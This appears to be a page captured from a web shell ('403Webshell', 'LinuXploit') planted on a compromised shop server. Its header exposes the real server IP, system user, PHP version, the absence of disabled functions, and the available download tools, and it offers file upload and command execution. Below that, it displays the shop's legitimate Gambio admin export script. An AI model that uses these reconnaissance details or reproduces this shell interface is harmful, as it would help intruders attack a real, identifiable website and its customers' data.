403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin//gm_product_export.php
<?php
/* --------------------------------------------------------------
 gm_product_export.php 2015-09-28 gm
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2015 Gambio GmbH
 Released under the GNU General Public License

 IMPORTANT! THIS FILE IS DEPRECATED AND WILL BE REPLACED IN THE FUTURE. 
 MODIFY IT ONLY FOR FIXES. DO NOT APPEND IT WITH NEW FEATURES, USE THE
 NEW GX-ENGINE LIBRARIES INSTEAD.
 --------------------------------------------------------------
 */
?><?php
/* --------------------------------------------------------------
 $Id: module_export.php 1179 2005-08-25 12:37:13Z mz $

 XT-Commerce - community made shopping
 http://www.xt-commerce.com

 Copyright (c) 2003 XT-Commerce
 --------------------------------------------------------------
 based on:
 (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
 (c) 2002-2003 osCommerce(modules.php,v 1.45 2003/05/28); www.oscommerce.com
 (c) 2003	 nextcommerce (modules.php,v 1.23 2003/08/19); www.nextcommerce.org

 Released under the GNU General Public License
 --------------------------------------------------------------*/
require('includes/application_top.php');

defined('GM_HTTP_SERVER') or define('GM_HTTP_SERVER', HTTP_SERVER);
define('PAGE_URL', GM_HTTP_SERVER.DIR_WS_ADMIN.basename(__FILE__));
define('VER_ARTEX', 'artex-2013-a_2013-01-17_1652');

require_once(DIR_FS_CATALOG . 'gm/inc/gm_xtc_href_link.inc.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMSEOBoost.php');
require_once(DIR_WS_FUNCTIONS . 'export_functions.php');

$coo_gm_seo_boost = MainFactory::create_object('GMSEOBoost', [], true);

if (!is_writeable(DIR_FS_CATALOG . 'export/')) {
	$messageStack->add(ERROR_EXPORT_FOLDER_NOT_WRITEABLE, 'error');
}

$csv_fields_array=array();
$module_type = 'export';
$module_directory = DIR_WS_MODULES . 'export/';
$module_key = 'MODULE_EXPORT_INSTALLED';
$file_extension = '.php';
define('HEADING_TITLE', HEADING_TITLE_MODULES_EXPORT);
if (isset($_GET['error'])) {
	$map='error';
	if ($_GET['kind']=='success') $map='success';
	$messageStack->add($_GET['error'], $map);
}
// include needed functions (for modules)
require(DIR_FS_ADMIN . 'includes/gm/classes/GMProductExport.php');
$coo_gm_product_export = new GMProductExport();
$coo_gm_product_export->set_seo_boost();

// set data for selected module
if (!empty($_GET['module'])) {
  $coo_gm_product_export->set_selected_module($_GET['module']);
  $coo_gm_product_export->set_module($_GET['module']);
}

// actions: install / remove
if (!empty($_GET['action'])) {
  switch ($_GET['action']) {
    case 'install':
      $coo_gm_product_export->module_install();
      $f_module = $_GET['module'];
      xtc_redirect(xtc_href_link(FILENAME_GM_PRODUCT_EXPORT, 'module=' . $f_module));
      break;
    case 'remove':
      $coo_gm_product_export->module_remove();
      xtc_redirect(xtc_href_link(FILENAME_GM_PRODUCT_EXPORT));
      break;
    default:
      break;
  }
}

if($_SERVER['REQUEST_METHOD'] == 'POST') {
	// save configuration (on SAVE and EXPORT)
	if (!empty($_POST['do_save']) || !empty($_POST['do_export'])) {
	  $coo_gm_product_export->save_configuration();
	}

	// create export
	if (!empty($_POST['do_export'])) {
	  $coo_gm_product_export->set_module_data($_GET['module']);
	  $coo_gm_product_export->do_export();
	}
	
	xtc_redirect(PAGE_URL.'?module='.$_GET['module'].'&action='.$_GET['action']);
}
?>
<!DOCTYPE html>
<html <?php echo HTML_PARAMS; ?>>
<head>
	<meta http-equiv="x-ua-compatible" content="IE=edge">
<meta http-equiv="Content-Type"
	content="text/html; charset=<?php echo $_SESSION['language_charset']; ?>">
<title><?php echo TITLE; ?></title>
<link rel="stylesheet" type="text/css" href="html/assets/styles/legacy/stylesheet.css">
</head>
<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0"
	leftmargin="0" rightmargin="0" bgcolor="#FFFFFF">
<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); ?>
<!-- header_eof //-->

<!-- body //-->
<table border="0" width="100%" cellspacing="2" cellpadding="2">
	<tr>
		<td class="columnLeft2" width="<?php echo BOX_WIDTH; ?>" valign="top">
		<table border="0" width="<?php echo BOX_WIDTH; ?>" cellspacing="1"
			cellpadding="1" class="columnLeft">
			<!-- left_navigation //-->
			<?php require(DIR_WS_INCLUDES . 'column_left.php'); ?>
			<!-- left_navigation_eof //-->
		</table>
		</td>
		<!-- body_text //-->
		<td class="boxCenter" width="100%" valign="top">
		<div class="pageHeading" style="float: left; background-image: url(html/assets/images/legacy/gm_icons/gambio.png);"><?php echo HEADING_TITLE; ?>
		</div>
		<div style="font: 0.7em sans-serif; float:right;">Version: <?php echo VER_ARTEX ?></div>
		<div style="clear: both" class="main">
		<div class="messages">
		<?php foreach(GMProductExport::_getMessages() as $message): ?>
		<p><?= $message ?></p>
		<?php endforeach; ?>
		</div>
		<?php
		$coo_gm_product_export->get_modules();
		$coo_gm_product_export->module_picker();
		$coo_gm_product_export->display_options();
		$t_display_export = $coo_gm_product_export->v_module_content;
		echo $t_display_export;
		?></div>
		<!-- body_text_eof //--></td>
	</tr>
</table>
<!-- body_eof //-->

<!-- footer //-->
		<?php require(DIR_WS_INCLUDES . 'footer.php'); ?>
<!-- footer_eof //-->
<br />
</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit